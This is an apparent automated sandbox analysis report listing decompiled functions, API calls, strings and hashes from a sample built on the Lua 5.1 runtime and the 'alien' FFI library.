0x005e2d2d
0x005e2d2e
0x005e2d2f
0x005e2d33
0x005e2d38
0x005e2d3a
0x005e2d3f
0x005e2dc8
0x005e2dcd
0x005e2dce
0x005e2dde
0x005e2d45
0x005e2d47
0x005e2d53
0x005e2d5c
0x005e2d5f
0x005e2d5f
0x005e2d64
0x005e2d66
0x005e2d68
0x005e2d69
0x005e2d6e
0x005e2d78
0x005e2d7a
0x005e2d7a
0x005e2d83
0x005e2d86
0x005e2d87
0x005e2d8c
0x005e2d91
0x005e2d93
0x005e2d94
0x005e2d99
0x005e2d9b
0x005e2d9c
0x005e2da1
0x005e2da6
0x005e2dab
0x005e2dac
0x005e2db1
0x005e2db3
0x005e2db4
0x005e2dc7
0x005e2dc7
0x005e2d3f

APIs

lua_type.LUA5.1(?,00000001), ref: 005E2CBC
lua_tolstring.LUA5.1(?,00000001,?), ref: 005E2CD1
lua_type.LUA5.1(?,00000001), ref: 005E2CE7
lua_getfield.LUA5.1(?,FFFFD8F0,alien_buffer), ref: 005E2CFF
lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,alien_buffer), ref: 005E2D07
lua_newuserdata.LUA5.1(?,00000000), ref: 005E2D33
memcpy.MSVCR80 ref: 005E2D53
lua_createtable.LUA5.1(?,00000000,00000000), ref: 005E2D69
lua_pushnumber.LUA5.1(?,00000000), ref: 005E2D87
lua_setfield.LUA5.1(?,000000FE,size,?,00000000), ref: 005E2D94
lua_setfenv.LUA5.1(?,000000FE,?,000000FE,size,?,00000000), ref: 005E2D9C
lua_getfield.LUA5.1(?,FFFFD8F0,alien_buffer,?,000000FE,?,000000FE,size,?,00000000), ref: 005E2DAC
lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,alien_buffer,?,000000FE,?,000000FE,size,?,00000000), ref: 005E2DB4
luaL_error.LUA5.1(?,cannot allocate buffer), ref: 005E2DCE

Strings

size, xrefs: 005E2D8C
alien_buffer, xrefs: 005E2CF4, 005E2DA1
cannot allocate buffer, xrefs: 005E2DC8

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getfield.lua_setmetatable.lua_type.$L_error.lua_createtable.lua_newuserdata.lua_pushnumber.lua_setfenv.lua_setfield.lua_tolstring.memcpy
String ID: alien_buffer$cannot allocate buffer$size
API String ID: 406260544-1247213693
Opcode ID: 308687b0c2139ef82cc8cf8e2922d89de1103e68c5029fe47d5a9e8178f874fa
Instruction ID: 7477c8e559a8ffaf888360fa57c74adbd74dd3cabcbaf2392bd301dd8990c79d
Opcode Fuzzy Hash: 308687b0c2139ef82cc8cf8e2922d89de1103e68c5029fe47d5a9e8178f874fa
Instruction Fuzzy Hash: 78215071D5865332D71876295C4BF8F3A59BFD1721F140224F4E0622C2E65D9B1942FB

Uniqueness

Uniqueness Score: -1.00%

Function 10016920, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 1001692C

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

lua_gettop.LUA5.1(?,?,00000001,00000000), ref: 10016934
lua_getfield.LUA5.1(?,FFFFD8F0,_LOADED,?,?,00000001,00000000), ref: 10016947

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_getfield.LUA5.1(?,00000001,00000000,?,FFFFD8F0,_LOADED,?,?,00000001,00000000), ref: 1001694F
lua_type.LUA5.1(?,000000FF,?,00000001,00000000,?,FFFFD8F0,_LOADED,?,?,00000001,00000000), ref: 10016957
lua_settop.LUA5.1(?,000000FE), ref: 10016967
luaL_findtable.LUA5.1(?,FFFFD8EE,00000000,00000001,?,000000FE), ref: 10016975

Part of subcall function 1000F900: lua_pushvalue.LUA5.1(?,?,?,?,?,?,1000F747,?,FFFFD8F0,_LOADED,00000000,?), ref: 1000F90E
Part of subcall function 1000F900: strchr.MSVCRT ref: 1000F91D
Part of subcall function 1000F900: lua_pushlstring.LUA5.1(?,?,00000000), ref: 1000F941
Part of subcall function 1000F900: lua_rawget.LUA5.1(?,000000FE,?,?,00000000), ref: 1000F949
Part of subcall function 1000F900: lua_type.LUA5.1(?,000000FF,?,000000FE,?,?,00000000), ref: 1000F951
Part of subcall function 1000F900: lua_settop.LUA5.1(?,000000FE), ref: 1000F960
Part of subcall function 1000F900: lua_createtable.LUA5.1(?,00000000,00000001), ref: 1000F97B
Part of subcall function 1000F900: lua_pushlstring.LUA5.1(?,00000001,?,?,00000000,00000001), ref: 1000F983
Part of subcall function 1000F900: lua_pushvalue.LUA5.1(?,000000FE,?,00000001,?,?,00000000,00000001), ref: 1000F98B
Part of subcall function 1000F900: lua_settable.LUA5.1(?,000000FC,?,000000FE,?,00000001,?,?,00000000,00000001), ref: 1000F993
Part of subcall function 1000F900: lua_type.LUA5.1(?,000000FF), ref: 1000F9A0
Part of subcall function 1000F900: lua_remove.LUA5.1(?,000000FE), ref: 1000F9B0
Part of subcall function 1000F900: lua_settop.LUA5.1(?,000000FD), ref: 1000F9C9

luaL_error.LUA5.1(?,name conflict for module '%s',00000000), ref: 10016988

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_pushvalue.LUA5.1(?,000000FF), ref: 10016997
lua_setfield.LUA5.1(?,00000001,00000000,?,000000FF), ref: 1001699F
lua_getfield.LUA5.1(?,000000FF,_NAME), ref: 100169AF
lua_type.LUA5.1(?,000000FF,?,000000FF,_NAME), ref: 100169B7
lua_settop.LUA5.1(?,000000FE), ref: 100169C6
lua_settop.LUA5.1(?,000000FE), ref: 100169D0
lua_pushvalue.LUA5.1(?,000000FF), ref: 100169E2

Strings

_NAME, xrefs: 100169A7
name conflict for module '%s', xrefs: 10016982
_LOADED, xrefs: 10016939

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_settop.$lua_pushvalue.lua_type.$lua_getfield.$lua_pushlstring.$L_checklstring.L_error.L_findtable.L_where.S_newlstr.lua_concat.lua_createtable.lua_error.lua_gettop.lua_pushvfstring.lua_rawget.lua_remove.lua_setfield.lua_settable.lua_tolstring.strchr
String ID: _LOADED$_NAME$name conflict for module '%s'
API String ID: 882642402-1332549222
Opcode ID: e57364b9063123a195cbdc1bd9bc41f098a09a3dd845fc5a15b0bf25d3225163
Instruction ID: 579df0142cc10a132d09dcfdf21c6782c71730694d8136a8e43dfd1b19b7c34c
Opcode Fuzzy Hash: e57364b9063123a195cbdc1bd9bc41f098a09a3dd845fc5a15b0bf25d3225163
Instruction Fuzzy Hash: 6E1121AD90A52435B502E2692C42FEF214DCF876F8F600321F525751DBEB15BA9250FB

Uniqueness

Uniqueness Score: -1.00%

Function 10010B60, Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 80COMMON

Download Yara Rule

APIs

luaL_checkany.LUA5.1(?,00000001), ref: 10010B68

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

luaL_callmeta.LUA5.1(?,00000001,__tostring,?,00000001), ref: 10010B75

Part of subcall function 1000F690: lua_gettop.LUA5.1(?), ref: 1000F6A7
Part of subcall function 1000F690: luaL_getmetafield.LUA5.1(?,?,?), ref: 1000F6BA

lua_type.LUA5.1(?,00000001), ref: 10010B88
lua_tolstring.LUA5.1(?,00000001,00000000), ref: 10010BA1
lua_pushstring.LUA5.1(?,00000000,?,00000001,00000000), ref: 10010BA8
lua_pushvalue.LUA5.1(?,00000001), ref: 10010BBA
lua_toboolean.LUA5.1(?,00000001), ref: 10010BCC
lua_pushstring.LUA5.1(?,true), ref: 10010BE4
lua_pushlstring.LUA5.1(?,nil,00000003), ref: 10010BFB
lua_topointer.LUA5.1(?,00000001), ref: 10010C0D
lua_type.LUA5.1(?,00000001,00000000), ref: 10010C19
lua_typename.LUA5.1(?,00000000,?,00000001,00000000), ref: 10010C20
lua_pushfstring.LUA5.1(?,%s: %p,00000000,?,?,?,00000000), ref: 10010C2F

Strings

false, xrefs: 10010BDD
nil, xrefs: 10010BF5
true, xrefs: 10010BD6, 10010BE2
%s: %p, xrefs: 10010C29
__tostring, xrefs: 10010B6D

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$lua_pushstring.$L_argerror.L_callmeta.L_checkany.L_getmetafield.lua_gettop.lua_pushfstring.lua_pushlstring.lua_pushvalue.lua_toboolean.lua_tolstring.lua_topointer.lua_typename.
String ID: %s: %p$__tostring$false$nil$true
API String ID: 3406855388-3663562000
Opcode ID: a10f346bd1384cbe5aba52d55bd11cd4261f5eda682edd3066e1fd325cdd8b5f
Instruction ID: 3a3e771824548914504e4b98f3fabe919622e9345f449abdc7be2c86a19e4816
Opcode Fuzzy Hash: a10f346bd1384cbe5aba52d55bd11cd4261f5eda682edd3066e1fd325cdd8b5f
Instruction Fuzzy Hash: AC11FE69A6552036F911E2187C43FEE114DCF127C9F054060F944AD18BEAEBABD201EA

Uniqueness

Uniqueness Score: -1.00%

Function 10011000, Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 62COMMON

Download Yara Rule

APIs

lua_pushvalue.LUA5.1(?,FFFFD8EE,?,10010FDB,?), ref: 1001100B
lua_setfield.LUA5.1(?,FFFFD8EE,10019FAC,?,FFFFD8EE,?,10010FDB,?), ref: 1001101B

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

luaL_register.LUA5.1(?,10019FAC,10017540,?,FFFFD8EE,10019FAC,?,FFFFD8EE,?,10010FDB,?), ref: 1001102B

Part of subcall function 1000F6F0: luaL_openlib.LUA5.1(?,?,?,00000000), ref: 1000F701

lua_pushlstring.LUA5.1(?,Lua 5.1,00000007,?,10019FAC,10017540,?,FFFFD8EE,10019FAC,?,FFFFD8EE,?,10010FDB,?), ref: 10011038

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

lua_setfield.LUA5.1(?,FFFFD8EE,_VERSION,?,Lua 5.1,00000007,?,10019FAC,10017540,?,FFFFD8EE,10019FAC,?,FFFFD8EE,?,10010FDB), ref: 10011048

Part of subcall function 10011280: lua_pushcclosure.LUA5.1(?,?,00000000,?,10011062,?,ipairs,10011160,10011120,?,FFFFD8EE,_VERSION,?,Lua 5.1,00000007,?), ref: 1001128D
Part of subcall function 10011280: lua_pushcclosure.LUA5.1(?,?,00000001,?,?,00000000,?,10011062,?,ipairs,10011160,10011120,?,FFFFD8EE,_VERSION,?), ref: 1001129A
Part of subcall function 10011280: lua_setfield.LUA5.1(?,000000FE,?,?,?,00000001,?,?,00000000,?,10011062,?,ipairs,10011160,10011120,?), ref: 100112A7

lua_createtable.LUA5.1(?,00000000,00000001,?,pairs,100110E0,10010770), ref: 1001107F
lua_pushvalue.LUA5.1(?,000000FF,?,00000000,00000001,?,pairs,100110E0,10010770), ref: 10011087
lua_setmetatable.LUA5.1(?,000000FE,?,000000FF,?,00000000,00000001,?,pairs,100110E0,10010770), ref: 1001108F
lua_pushlstring.LUA5.1(?,10019F84,00000002,?,000000FE,?,000000FF,?,00000000,00000001,?,pairs,100110E0,10010770), ref: 1001109C
lua_setfield.LUA5.1(?,000000FE,__mode,?,10019F84,00000002,?,000000FE,?,000000FF,?,00000000,00000001,?,pairs,100110E0), ref: 100110A9
lua_pushcclosure.LUA5.1(?,100111A0,00000001), ref: 100110B9
lua_setfield.LUA5.1(?,FFFFD8EE,newproxy,?,100111A0,00000001), ref: 100110C9

Strings

Lua 5.1, xrefs: 10011032
ipairs, xrefs: 10011057
newproxy, xrefs: 100110BE
_VERSION, xrefs: 1001103D
pairs, xrefs: 1001106F
__mode, xrefs: 100110A1

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_setfield.$lua_pushcclosure.$S_newlstr.lua_pushlstring.lua_pushvalue.$L_openlib.L_register.lua_createtable.lua_setmetatable.
String ID: Lua 5.1$_VERSION$__mode$ipairs$newproxy$pairs
API String ID: 1415721450-69921249
Opcode ID: 3cf02260c5ebc5e58269b459de67b0a9c4bc09a7b66f750800428e6c0a40495a
Instruction ID: 773b636c6f64b343c4a146835389539241168f83d6492849bc4b82b4ec95bc8f
Opcode Fuzzy Hash: 3cf02260c5ebc5e58269b459de67b0a9c4bc09a7b66f750800428e6c0a40495a
Instruction Fuzzy Hash: 4D01F63899E93435E946E2656D03FCE1009CF536E4F200224F324BD5DA6BBAB2D310EE

Uniqueness

Uniqueness Score: -1.00%

Function 005E1990, Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E005E1990(intOrPtr _a4) {
				void* _v4;
				void* _t17;
				void _t19;
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t27;
				intOrPtr _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;

				_t33 = _a4;
				_push(6);
				_push(1);
				_push(_t33);
				L005E3F92();
				_t17 = malloc(0x40);
				_push(4);
				_push(_t33);
				_t34 = _t17;
				L005E3F2C();
				_t37 = _t36 + 0x18;
				_t25 = _t17;
				_v4 = _t25;
				if(_t34 == 0) {
					L14:
					_push("alien: cannot allocate callback");
					_push(_t33);
					L005E3F26();
					return 0;
				} else {
					if(_t25 == 0) {
						free(_t34);
						_t37 = _t37 + 4;
						goto L14;
					} else {
						_t19 =  *0x5e7108; // 0x0
						if(_t19 != 0) {
							L5:
							 *0x5e7108 =  *_t19;
						} else {
							E005E1000();
							_t19 =  *0x5e7108; // 0x0
							if(_t19 != 0) {
								goto L5;
							} else {
								_t19 = 0;
							}
						}
						 *_t25 = _t19;
						if(_t19 == 0) {
							free(_t34);
							_push("alien: cannot allocate callback");
							_push(_t33);
							L005E3F26();
							_t37 = _t37 + 0xc;
						}
						_push(1);
						_push(_t33);
						 *((intOrPtr*)(_t34 + 0x38)) = _t33;
						 *((intOrPtr*)(_t34 + 0xc)) = 6;
						 *((intOrPtr*)(_t34 + 0x28)) = 0x5e705c;
						 *((intOrPtr*)(_t34 + 0x2c)) = 0;
						 *((intOrPtr*)(_t34 + 0x30)) = 0;
						 *((intOrPtr*)(_t34 + 0x34)) = 0;
						L005E3F44();
						_push(0xffffd8f0);
						_push(_t33);
						L005E3F8C();
						_push("alien_callback");
						_push(0xffffd8f0);
						_push(_t33);
						 *(_t34 + 0x3c) = _t19;
						L005E3F02();
						_push(0xfffffffe);
						_push(_t33);
						L005E3F1A();
						_t13 = _t34 + 0x10; // 0x10
						_t26 = _t13;
						_t21 = E005E4400(_t13, 1,  *((intOrPtr*)(_t34 + 0x2c)),  *((intOrPtr*)(_t34 + 0x28)),  *((intOrPtr*)(_t34 + 0x34)));
						_t39 = _t37 + 0x38;
						if(_t21 != 0) {
							_push("alien: cannot create callback");
							_push(_t33);
							L005E3F26();
							_t39 = _t39 + 8;
						}
						_t27 = _v4;
						_t22 = E005E4310( *_t27, _t26, E005E14C0, _t34);
						 *(_t34 + 4) =  *_t27;
						 *_t34 = 0;
						 *((intOrPtr*)(_t34 + 8)) = 0;
						if(_t22 != 0) {
							_push("alien: cannot create callback");
							_push(_t33);
							L005E3F26();
						}
						return 1;
					}
				}
			}

0x005e1995
0x005e1999
0x005e199b
0x005e199d
0x005e199e
0x005e19a5
0x005e19ab
0x005e19ad
0x005e19ae
0x005e19b0
0x005e19b7
0x005e19bc
0x005e19be
0x005e19c2
0x005e1ac9
0x005e1ac9
0x005e1ace
0x005e1acf
0x005e1ade
0x005e19c8
0x005e19ca
0x005e1ac0
0x005e1ac6
0x00000000
0x005e19d0
0x005e19d0
0x005e19d7
0x005e19eb
0x005e19ed
0x005e19d9
0x005e19d9
0x005e19de
0x005e19e5
0x00000000
0x005e19e7
0x005e19e7
0x005e19e7
0x005e19e5
0x005e19f5
0x005e19f7
0x005e19fa
0x005e1a00
0x005e1a05
0x005e1a06
0x005e1a0b
0x005e1a0b
0x005e1a0e
0x005e1a10
0x005e1a11
0x005e1a14
0x005e1a1b
0x005e1a22
0x005e1a25
0x005e1a28
0x005e1a2b
0x005e1a30
0x005e1a35
0x005e1a36
0x005e1a3b
0x005e1a40
0x005e1a45
0x005e1a46
0x005e1a49
0x005e1a4e
0x005e1a50
0x005e1a51
0x005e1a62
0x005e1a62
0x005e1a68
0x005e1a6d
0x005e1a72
0x005e1a74
0x005e1a79
0x005e1a7a
0x005e1a7f
0x005e1a7f
0x005e1a89
0x005e1a90
0x005e1a9c
0x005e1a9f
0x005e1aa1
0x005e1aa4
0x005e1aa6
0x005e1aab
0x005e1aac
0x005e1ab1
0x005e1abe
0x005e1abe
0x005e19ca

APIs

luaL_checktype.LUA5.1(?,00000001,00000006), ref: 005E199E
malloc.MSVCR80 ref: 005E19A5
lua_newuserdata.LUA5.1(?,00000004), ref: 005E19B0
free.MSVCR80(00000000), ref: 005E19FA
luaL_error.LUA5.1(?,alien: cannot allocate callback), ref: 005E1A06
lua_pushvalue.LUA5.1(?), ref: 005E1A2B
luaL_ref.LUA5.1(?,FFFFD8F0), ref: 005E1A36
lua_getfield.LUA5.1(?,FFFFD8F0,alien_callback,?,FFFFD8F0), ref: 005E1A49
lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,alien_callback,?,FFFFD8F0), ref: 005E1A51
luaL_error.LUA5.1(?,alien: cannot create callback,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 005E1A7A
luaL_error.LUA5.1(?,alien: cannot create callback), ref: 005E1AAC

Part of subcall function 005E1000: GetSystemInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,005E19DE), ref: 005E1011
Part of subcall function 005E1000: VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 005E104B

free.MSVCR80(00000000), ref: 005E1AC0
luaL_error.LUA5.1(?,alien: cannot allocate callback), ref: 005E1ACF

Strings

alien_callback, xrefs: 005E1A3B
alien: cannot create callback, xrefs: 005E1A74, 005E1AA6
alien: cannot allocate callback, xrefs: 005E1A00, 005E1AC9
\p^, xrefs: 005E1A1B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.$free$AllocInfoL_checktype.L_ref.SystemVirtuallua_getfield.lua_newuserdata.lua_pushvalue.lua_setmetatable.malloc
String ID: \p^$alien: cannot allocate callback$alien: cannot create callback$alien_callback
API String ID: 1262428043-2622001341
Opcode ID: 48160da04a33bd94a48782bc513e0e31d168ca7c8c201347e60a5e75af606761
Instruction ID: 8e4dbfb5777f9d567c02f5dd037894bd7a436a07a079070010fb11f5acd29cef
Opcode Fuzzy Hash: 48160da04a33bd94a48782bc513e0e31d168ca7c8c201347e60a5e75af606761
Instruction Fuzzy Hash: 2B311971A04785AFC728AF279CCAE2BBFF4BB94700B50052DF1C197641E774B5448A65

Uniqueness

Uniqueness Score: -1.00%

Function 00401950, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

Part of subcall function 00401180: luaL_checkstack.LUA5.1(?,-00000004,too many arguments to script), ref: 004011B3
Part of subcall function 00401180: lua_pushstring.LUA5.1(?,00000000), ref: 004011C8
Part of subcall function 00401180: lua_createtable.LUA5.1(?,?,?), ref: 004011E5
Part of subcall function 00401180: lua_pushstring.LUA5.1 ref: 00401206
Part of subcall function 00401180: lua_rawseti.LUA5.1(?,000000FE,?), ref: 00401213

lua_setfield.LUA5.1(?,FFFFD8EE,arg,?,?), ref: 00401972
luaL_loadfile.LUA5.1(?,00000000), ref: 004019AF
lua_insert.LUA5.1(?,00000000,?,00000000), ref: 004019BD
lua_gettop.LUA5.1 ref: 004019CA
lua_pushcclosure.LUA5.1(?,Function_000010B0,00000000), ref: 004019DA
lua_insert.LUA5.1(?,00000000,?,Function_000010B0,00000000), ref: 004019E1
signal.MSVCR80 ref: 004019F3
lua_pcall.LUA5.1(?,00000000,000000FF,00000000,?,00000000,?,Function_000010B0,00000000), ref: 004019FA
signal.MSVCR80 ref: 00401A05
lua_remove.LUA5.1(?,00000000,?,00000000,000000FF,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401A09
lua_gc.LUA5.1(?,00000002,00000000), ref: 00401A1A
lua_settop.LUA5.1(?,00000000), ref: 00401A28
lua_type.LUA5.1(?,000000FF), ref: 00401A37
lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 00401A48
lua_settop.LUA5.1(?,000000FE,00000000), ref: 00401A67

Strings

(error object is not a string), xrefs: 00401A54, 00401A59
arg, xrefs: 00401965

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_insert.lua_pushstring.lua_settop.signal$L_checkstack.L_loadfile.lua_createtable.lua_gc.lua_gettop.lua_pcall.lua_pushcclosure.lua_rawseti.lua_remove.lua_setfield.lua_tolstring.lua_type.
String ID: (error object is not a string)$arg
API String ID: 3477668877-1766022967
Opcode ID: be739a6609840a202dd472d8a26ed19aeb878c08de70b328747767e5f0475913
Instruction ID: 853f7559fa79c99730b05bb0d689d5a4a189139a5acb4b195112fa24ab6b3a8e
Opcode Fuzzy Hash: be739a6609840a202dd472d8a26ed19aeb878c08de70b328747767e5f0475913
Instruction Fuzzy Hash: EA3105B2B0421533D620B67A5C42F2B354D8B813B5F25023ABE25B73E2EA7DAD0041BD

Uniqueness

Uniqueness Score: -1.00%

Function 100111A0, Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

lua_settop.LUA5.1(?,00000001), ref: 100111A8
lua_newuserdata.LUA5.1(?,00000000,?,00000001), ref: 100111B0
lua_toboolean.LUA5.1(?,00000001,?,00000000,?,00000001), ref: 100111B8
lua_type.LUA5.1(?,00000001), ref: 100111CB
lua_createtable.LUA5.1(?,00000000,00000000), ref: 100111DD
lua_pushvalue.LUA5.1(?,000000FF,?,00000000,00000000), ref: 100111E5
lua_pushboolean.LUA5.1(?,00000001,?,000000FF,?,00000000,00000000), ref: 100111ED
lua_rawset.LUA5.1(?,FFFFD8ED,?,00000001,?,000000FF,?,00000000,00000000), ref: 100111F8
lua_setmetatable.LUA5.1(?,00000002), ref: 10011203
lua_getmetatable.LUA5.1(?,00000001), ref: 10011215
lua_rawget.LUA5.1(?,FFFFD8ED), ref: 10011228
lua_toboolean.LUA5.1(?,000000FF,?,FFFFD8ED), ref: 10011230
lua_settop.LUA5.1(?,000000FE,?,000000FF,?,FFFFD8ED), ref: 1001123A
luaL_argerror.LUA5.1(?,00000001,boolean or proxy expected), ref: 1001124F
lua_getmetatable.LUA5.1(?,00000001), ref: 1001125A
lua_setmetatable.LUA5.1(?,00000002), ref: 10011265

Strings

boolean or proxy expected, xrefs: 10011247

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getmetatable.lua_setmetatable.lua_settop.lua_toboolean.$L_argerror.lua_createtable.lua_newuserdata.lua_pushboolean.lua_pushvalue.lua_rawget.lua_rawset.lua_type.
String ID: boolean or proxy expected
API String ID: 1269277057-1864144190
Opcode ID: 224b3c9822cfd41598f06e1161bdbea53d51368e6180c24bf4769ed057e4335d
Instruction ID: d7b02b31a26ba1415f514f340cc9e535dfe3c304a60d9c943ede91cf9e99454d
Opcode Fuzzy Hash: 224b3c9822cfd41598f06e1161bdbea53d51368e6180c24bf4769ed057e4335d
Instruction Fuzzy Hash: 1B11127DA9552131F812A1246C43FDF1049CF537E5F540120FA14B92DBEAAAB69201EF

Uniqueness

Uniqueness Score: -1.00%

Function 00592980, Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00592980(short __eax, char _a4, short _a6, intOrPtr _a8) {
				short _t6;
				char _t10;
				void* _t11;
				void* _t12;
				void* _t13;
				void* _t14;

				_t6 = __eax;
				_t10 = _a4;
				_push(3);
				_push(_t10);
				L00594AFA();
				_t12 = _t11 + 8;
				if(__eax != 5) {
					_push(5);
					_push(_t10);
					L00594B24();
					_push(__eax);
					_push(3);
					_push(_t10);
					L00594B1E();
					_t12 = _t12 + 0x14;
				}
				_push("on");
				_push(_t10);
				L00594AD0();
				_push(3);
				_push(_t10);
				L00594B00();
				_push(0xffffffff);
				_push(_t10);
				L00594AFA();
				_t13 = _t12 + 0x18;
				if(_t6 != 1) {
					_push("boolean \'on\' field expected");
					_push(3);
					_push(_t10);
					L00594B2A();
					_t13 = _t13 + 0xc;
				}
				_push(0xffffffff);
				_push(_t10);
				L00594B18();
				_push("timeout");
				_push(_t10);
				_a4 = _t6;
				L00594AD0();
				_push(3);
				_push(_t10);
				L00594B00();
				_push(0xffffffff);
				_push(_t10);
				L00594B84();
				_t14 = _t13 + 0x20;
				if(_t6 == 0) {
					_push("number \'timeout\' field expected");
					_push(3);
					_push(_t10);
					L00594B2A();
					_t14 = _t14 + 0xc;
				}
				_push(0xffffffff);
				_push(_t10);
				L00594B7E();
				L00594BD0();
				_a6 = _t6;
				_push(4);
				return E00592C40(_t10, _a8, 0xffff, 0x80,  &_a4);
			}

0x00592980
0x00592981
0x00592985
0x00592987
0x00592988
0x0059298d
0x00592993
0x00592995
0x00592997
0x00592998
0x0059299d
0x0059299e
0x005929a0
0x005929a1
0x005929a6
0x005929a6
0x005929a9
0x005929ae
0x005929af
0x005929b4
0x005929b6
0x005929b7
0x005929bc
0x005929be
0x005929bf
0x005929c4
0x005929ca
0x005929cc
0x005929d1
0x005929d3
0x005929d4
0x005929d9
0x005929d9
0x005929dc
0x005929de
0x005929df
0x005929e4
0x005929e9
0x005929ea
0x005929ef
0x005929f4
0x005929f6
0x005929f7
0x005929fc
0x005929fe
0x005929ff
0x00592a04
0x00592a09
0x00592a0b
0x00592a10
0x00592a12
0x00592a13
0x00592a18
0x00592a18
0x00592a1b
0x00592a1d
0x00592a1e
0x00592a23
0x00592a2c
0x00592a35
0x00592a4d

APIs

lua_type.LUA5.1(?,00000003), ref: 00592988
lua_typename.LUA5.1(?,00000005), ref: 00592998
luaL_typerror.LUA5.1(?,00000003,00000000,?,00000005), ref: 005929A1
lua_pushstring.LUA5.1(?,005963E4), ref: 005929AF
